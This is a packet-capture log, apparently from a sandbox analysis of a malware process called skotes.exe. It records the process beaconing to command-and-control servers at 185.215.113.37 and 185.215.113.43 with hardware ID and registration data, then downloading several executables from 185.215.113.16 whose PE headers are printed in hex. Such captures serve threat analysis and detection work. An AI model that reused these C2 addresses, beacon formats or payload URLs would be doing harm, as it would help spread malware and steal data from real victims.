Oct 23, 2024 17:51:36.177874088 CEST	203	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 15:51:36 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 23, 2024 17:51:36.226885080 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIJEBAECGCBKECAAAEBF Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 33 46 38 37 44 31 37 38 46 41 43 33 33 34 33 34 31 32 31 34 38 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 46 2d 2d 0d 0a Data Ascii: ------IIJEBAECGCBKECAAAEBFContent-Disposition: form-data; name="hwid"93F87D178FAC3343412148------IIJEBAECGCBKECAAAEBFContent-Disposition: form-data; name="build"doma------IIJEBAECGCBKECAAAEBF--
Oct 23, 2024 17:51:36.521121979 CEST	210	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 15:51:36 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49848	185.215.113.43	80	4544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:51:35.390975952 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 23, 2024 17:51:36.294836044 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:51:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49864	185.215.113.43	80	4544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:51:37.811219931 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 39 37 38 42 36 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22978B65C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 23, 2024 17:51:38.716043949 CEST	554	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:51:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 62 0d 0a 20 3c 63 3e 31 30 30 30 39 39 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 30 39 39 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 30 39 39 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 30 39 39 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16b <c>1000992001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1000993001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1000994001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1000995001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df309c5441f056fc49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49868	185.215.113.16	80	4544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:51:38.872498989 CEST	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 23, 2024 17:51:39.100960016 CEST	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 23, 2024 17:51:39.999047041 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:51:39 GMT Content-Type: application/octet-stream Content-Length: 2891264 Last-Modified: Wed, 23 Oct 2024 15:37:07 GMT Connection: keep-alive ETag: "67191823-2c1e00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 a0 2f 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 2f 00 00 04 00 00 dc 94 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELJf/@/,@Wk ^@.rsrc n@.idata n@muoxnbrn))p@ckkqhetw/+@.taggant0/"+@
Oct 23, 2024 17:51:39.999083042 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 23, 2024 17:51:39.999552965 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 23, 2024 17:51:39.999675035 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 23, 2024 17:51:39.999711990 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 23, 2024 17:51:39.999747992 CEST	1236	IN	Data Raw: e1 eb cc c7 e0 9c 0e a9 40 07 7e 34 ed 5b 0c f9 1a ff 07 f8 d2 f0 4e e9 ea 80 c8 a8 37 0c cb 6b 77 da bc 1d f7 5d ef 20 62 9b f7 54 b0 47 ee f3 a6 4b d7 f2 d6 67 c7 25 4b 10 7f 47 a4 b9 c1 b3 37 1e 8f 72 99 20 4f c0 51 82 b7 6a ca 33 d8 8c 91 68 Data Ascii: @~4[N7kw] bTGKg%KG7r OQj3hWTzwHr"5SYi{n$Sm:$N[Jd3l\>#C\#VsZ<9z{;9B;q{}}u{U_$)TfxUzlXF$&
Oct 23, 2024 17:51:39.999784946 CEST	1236	IN	Data Raw: b4 77 db 80 ee fa fa d1 c3 1f 27 c8 66 7c 4e 63 06 26 bd 4c 95 56 9f 77 92 1c 48 42 ed 65 40 a9 42 56 e6 32 63 15 60 10 cb 67 df 92 ed c3 43 de e5 5e c3 7d 40 3b 62 b1 d6 63 6f f3 a7 d4 c5 51 da 96 28 6d 4f 3d d3 63 59 1d cb f4 5e 07 82 9c 41 e7 Data Ascii: w'f\|Nc&LVwHBe@BV2c`gC^}@;bcoQ(mO=cY^A.p6@<S:j&As7 *&]6A'v6?P:wI4gOe{yF'M3\|\|k1<5x<nnh\^e0hC .;BWI
Oct 23, 2024 17:51:39.999820948 CEST	1236	IN	Data Raw: c5 d6 e6 58 cb 88 6c b9 a6 5f cb fb f9 ac 8c 69 76 04 12 fb cf 59 98 53 2c ae 54 79 63 81 55 b7 c7 82 09 91 5a cd d1 01 1c 4b 80 6c a8 94 dc 02 4f bd 63 7a e2 1b 1e 52 db 45 d5 1e a5 0d 7f 99 c2 5f dc 59 13 35 b3 ef 79 40 63 33 20 fe ea d1 59 5b Data Ascii: Xl_ivYS,TycUZKlOczRE_Y5y@c3 Y[a/oqV,\|N<,"XSwL/<vU f2!WzUe^Z;,$G>E?R!2fx}Zza6,,,+2I'8`n!fPRQ=-x
Oct 23, 2024 17:51:39.999859095 CEST	1236	IN	Data Raw: d5 53 1f 51 01 54 d0 74 88 0a 91 0c 10 73 a7 2c c1 a2 86 5f e9 55 9b 3e 01 08 00 99 1c 2f d1 95 ff 18 25 49 8d 7a b5 bf f8 3c d9 fb a7 34 ac 83 af 38 94 2c ca cc 7b f4 d4 53 d5 9f 07 fa 46 47 ae e5 0d 08 bb 78 d3 2e f4 58 70 dc 56 eb fd ef 7c 28 Data Ascii: SQTts,_U>/%Iz<48,{SFGx.XpV\|("`+H%<)s]U\|v__(EZGw#:!l0_Gef]mohQr<o$5d1)!c5=rnAK>wEE #9v>0y&H<7wd9x
Oct 23, 2024 17:51:39.999892950 CEST	1236	IN	Data Raw: c9 2f 84 51 5f df c9 1b 33 dc a2 6c b1 ad fc 53 fb 81 01 f3 af 07 56 b9 1b 81 5f 6c 93 cf e5 4a 0d 32 26 c7 15 d5 e8 bb d7 fc 7b 42 5b 62 1d 3c 8f fe c2 36 e9 19 ff b1 24 7b 8b 70 f0 aa f6 a0 8e c1 60 20 e9 c7 bd eb 54 82 21 90 e2 9b c5 8b a2 fe Data Ascii: /Q_3lSV_lJ2&{B[b<6${p` T!;^\|9j/C s(F>buq2_%fCo3>fWrdY=haS]gRNhLhvkm{D3-3g.'9T9%Z=nU
Oct 23, 2024 17:51:40.007963896 CEST	1236	IN	Data Raw: 72 09 fd 5c c1 3c 83 4d a0 3b c9 b4 ef 65 fe fc 7d 96 1a c7 e4 30 c3 7b cd 8b 0c 91 76 33 1d fe 08 c1 a7 8a 62 ad 9a 54 8d 62 5c 1f 37 27 b3 6c b9 38 ef 7a d0 8d 46 41 ac 33 c5 51 e1 65 b5 da 5d 13 2c bf e3 7d c8 64 13 7b fb cd 8a 7a 6a 86 e9 9c Data Ascii: r\<M;e}0{v3bTb\7'l8zFA3Qe],}d{zj,b}p{)+A6z2NoJ3}/1a8b\.v_C`7W:yonFMJX=Swy$&Ku$&-l-i!kU>YC1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49894	185.215.113.43	80	4544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:51:43.951845884 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 39 39 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000992001&unit=246122658369
Oct 23, 2024 17:51:44.925836086 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:51:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49900	185.215.113.16	80	4544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:51:44.934083939 CEST	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 23, 2024 17:51:45.904340029 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:51:45 GMT Content-Type: application/octet-stream Content-Length: 1833984 Last-Modified: Wed, 23 Oct 2024 15:37:13 GMT Connection: keep-alive ETag: "67191829-1bfc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 50 69 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 80 69 00 00 04 00 00 d1 e0 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$Pi@i@P%d% %(@.rsrc %8@.idata %8@ )%:@iadgvtjqO<@xuvqjoqm@i@.taggant0Pi"@
Oct 23, 2024 17:51:45.904386044 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 23, 2024 17:51:45.904416084 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 23, 2024 17:51:45.904449940 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 23, 2024 17:51:45.904488087 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 23, 2024 17:51:45.904614925 CEST	1236	IN	Data Raw: 17 02 b4 04 70 93 be 30 fb 04 57 e7 4a 64 9c ad 55 7b 45 19 3b c8 a4 8d cc 06 85 3e b7 30 11 4b 4d 6d dc fd f4 01 53 ca da b7 20 e0 62 15 fe 76 de fe 5b 8a 43 9e 9c 35 4f ee 53 06 a7 80 a7 d9 32 fe a6 ac e7 52 f4 ce 49 72 fd 91 2f 4e b5 04 7c e9 Data Ascii: p0WJdU{E;>0KMmS bv[C5OS2RIr/N\|LTSm7*fsH^b@.wZJJr~?dTX4%^w{\|3HI(p9g?9g?9g?9g?9g?9g?9g?9g?9e_i}BV_FD3^
Oct 23, 2024 17:51:45.904665947 CEST	848	IN	Data Raw: 07 e2 7b c6 c2 60 88 36 47 5b db b6 15 07 48 88 23 d0 fd 45 43 bf a7 5d b4 48 39 31 6c 8d 56 2e 68 01 f4 9f 37 50 63 f8 95 d0 fa b6 78 f9 cb 34 8b 0f ff 04 c3 ff 3d 34 43 52 8d 79 86 9c 5e e0 4f 94 e5 b7 5a 44 d2 fc 56 b3 d1 f2 73 c7 1c 16 cc 4d Data Ascii: {`6G[H#EC]H91lV.h7Pcx4=4CRy^OZDVsMe4OP\B,6Ys8^5_U&[&66V\|x8~.]=_KuhL2o73dBO]\Y- HEsvI072bch1o[K'
Oct 23, 2024 17:51:45.904700994 CEST	1236	IN	Data Raw: 56 fa d4 5a bb f7 0d 23 53 af 94 64 77 94 cf 12 5d ce ee e2 dc 7f d5 c6 a6 f7 07 ab 4f a7 22 02 dc 8c d5 ba df f7 82 2a cf 8a 00 1f e0 0b c4 e2 36 f7 6a f6 a9 5e e3 44 3c a9 1e 2a 48 c4 a2 00 ad bc d5 53 c9 f0 d6 8e b6 53 43 4a 07 86 2e d2 47 08 Data Ascii: VZ#Sdw]O"6j^D<HSSCJ.GRzA4;N0D<*HPT@c;.H[MzJB O#FQnTlb-~b9M>>O4Rs/6HlLE}X3l_PcUw/@@G\F;OD_
Oct 23, 2024 17:51:45.904735088 CEST	1236	IN	Data Raw: 03 6e cd e2 b1 f7 36 aa 00 f4 c6 ba 2a b8 87 3b 2f 08 24 b0 87 14 4c b6 36 2c 99 46 f0 27 7b 3b e1 35 f5 9f 5e 89 cf c2 b6 7d 43 de 06 1d ef d3 47 4c df 1c b1 42 af 9c 56 70 d0 f4 ae 2d c8 aa 46 ae c2 b2 5c 80 d7 ea 42 5c 7b 93 8e b0 cf ce ba 51 Data Ascii: n6;/$L6,F'{;5^}CGLBVp-F\B\{QV#6H^@;/I_c#ECGt ;{R<R8;tlf]B8cjl\XajGNUZ]}[]*VH#Y/BsnC\|V<E;$_9{;To
Oct 23, 2024 17:51:45.904769897 CEST	1236	IN	Data Raw: a2 ff 38 2c b7 d0 9f 37 e3 88 de 3b c7 54 14 24 0f 5f 72 c6 d6 f7 07 db 4f 9c 1d a6 f8 07 97 6a 47 c4 62 f9 dd 2b ff 3b 29 f0 a4 3b 2b ff 5c 3e 23 4c 87 fa fa 08 ec f0 46 9f ff 23 48 7e 66 6e e3 28 88 3b 6b 08 8f b0 50 7c 86 c9 fa 1b 03 2b 48 19 Data Ascii: 8,7;T$_rOjGb+;);+\>#LF#H~fn(;kP\|+HDGYhVX\Y7zS+Flr6^~sGHtE{Z@WW6HarHCCXc;.[qqSa0R[">/A%m66.^n.a_
Oct 23, 2024 17:51:45.904829979 CEST	1236	IN	Data Raw: fb 08 9a 4e ff 91 fe 5d b3 05 72 8c b5 4d e1 9c 94 75 d9 6f 5a 11 69 42 0b a9 fd 03 52 84 6e 2d e0 70 95 2d 4f 08 96 e4 ee 02 52 93 35 0d 1c 42 a5 d4 d7 b4 1d 44 6e 41 bd 43 70 4c d7 46 de 42 8f 42 75 9a 48 fd 21 f7 2a 9b de b1 8b 21 7b 03 c2 f0 Data Ascii: N]rMuoZiBRn-p-OR5BDnACpLFBBuH!!{4]KAwv8aO72+i;&?qe7i1iO`p-8O{B@fw:F6/HH}>.k+-ptu#bAcp#zaO0<b07~*}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49926	185.215.113.43	80	4544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:51:49.625384092 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 39 39 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000993001&unit=246122658369
Oct 23, 2024 17:51:50.530994892 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:51:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49932	185.215.113.16	80	4544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 17:51:50.539339066 CEST	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 23, 2024 17:51:51.456218004 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 15:51:51 GMT Content-Type: application/octet-stream Content-Length: 919552 Last-Modified: Wed, 23 Oct 2024 15:43:38 GMT Connection: keep-alive ETag: "671919aa-e0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 a2 19 19 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELg"Xw@`~u@@@d\|@(u4@.text `.rdata@@.datalpH@.rsrc(@@@.relocuv@B
Oct 23, 2024 17:51:51.456331968 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Oct 23, 2024 17:51:51.456397057 CEST	1236	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Oct 23, 2024 17:51:51.456434965 CEST	1236	IN	Data Raw: 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj
Oct 23, 2024 17:51:51.456469059 CEST	1236	IN	Data Raw: 00 5f 5e 5b c9 c2 08 00 49 eb 89 41 eb 86 8d 47 01 89 02 eb dc e8 5b 01 00 00 84 c0 74 0e 8b ca e8 50 01 00 00 84 c0 74 03 b0 01 c3 32 c0 c3 55 8b ec 51 51 56 8b f1 80 be 6d 01 00 00 00 8b 86 68 01 00 00 75 53 ff 70 04 e8 1e 09 00 00 8d 4d ff c7 Data Ascii: _^[IAG[tPt2UQQVmhuSpMEQMQPx$}dtmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3
